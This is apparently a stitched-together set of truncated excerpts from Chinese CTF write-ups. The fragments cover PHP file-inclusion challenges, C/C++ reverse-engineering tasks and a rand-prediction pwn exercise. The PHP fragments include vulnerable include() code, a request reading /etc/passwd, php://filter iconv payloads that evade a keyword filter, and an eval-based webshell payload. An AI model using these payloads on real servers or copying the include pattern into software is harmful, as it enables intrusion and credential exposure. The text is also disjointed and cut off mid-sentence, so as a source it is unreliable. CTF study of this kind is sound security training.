<?php highlight_file(__FILE__); include("./check.php"); if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); } ?> (1)尝试文件包含,发现可以读取 /etc/passwd GET /?filename=/etc/passwd HTTP/
phpif(!ini_get('display_errors')){ini_set('display_errors','On');}error_reporting(E_ALL);$lan=$_COOKIE['language'];if(!$lan){@setcookie("language","english");@include("english.php");}else{@include($lan.".php");}$x=file_get_contents('index.php');echo$x;?> 文件包含,利用PH...
phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["file1"]) &&isset($_GET["file2"])){$file1=$_GET["file1"];$file2=$_GET["file2"];if(!empty($file1) && !empty($file2)){if(file_get_contents($file2) ==="hello ctf"){include($file1);}}elsedie("NONONO...
shell ?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=check.php 可以看到check.php过滤的内容,/base|be|encode|print|zlib|quoted|write|rot13|read|string/i,不过已经不重要的 该题目没有提示flag文件的位置,尝试包含常见的flag.php shell ?filename=php://filter/convert.iconv.UTF-8*....
先了解一下 file_get_contents() 函数: file_get_contents() 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能 用法:file_get_contents(path,include_path,context,start,max_length) ...
#include <string.h> intmain(intargc,char*argv[]) { if(argc!=4) { printf("what?\n"); exit(1); } unsignedintfirst=atoi(argv[1]); if(first!=0xcafe) { printf("you are wrong, sorry.\n"); exit(2); } unsignedintsecond=atoi(argv[2]); ...
#include //大概阅读整体代码,通过最后几行代码我们得知我们需要的flag就是代码中的hash变量 //此时我们逆向推到hash变量的来源 //1.hash值由fist、second和argv[3]三个变量来决定,那我们就跟踪这三个变量 //2.fist变量在第二个if语句中,提示如果first不等于0xcafe的话就退出程序,那我们按照作者意思肯定要让程...
所以我们这里针对第一个点容易想到,$file加一个../即可绕过这个假目录 针对第二个点,容易发现,匹配只匹配最后一个点的后缀,所以可以引用比较经典的解析问题`sky.php/.`绕过 第3个点,我们的真实目录 所以容易得到如下payload post数据 con=<?php @eval($_POST['sky2333']);?>&file=sky.php/. ...
https://adworld.xctf.org.cn/media/file/task/54836ebebad142679... 这一题没有什么花活,但是和以往的c程序不同,c++大量使用模板、类对象等,反汇编之后会非常丑陋。要努力去克服这种干扰,并且熟悉string这种常见类的成员函数 分析 int __fastcall main(int argc, const char **argv, const char **envp) ...
#include <stdlib.h> /* srand, rand */ int main(void) { srand(0); for (int index = 0 ; index != 10 ; index++) printf("%d ",(rand()%6+1)); return 0; } dc@ubuntu:~/playground/xctf_word/pwn$ gcc ten_rand_nums_.c -o ten_rand_nums dc@ubuntu:~/playground/xctf...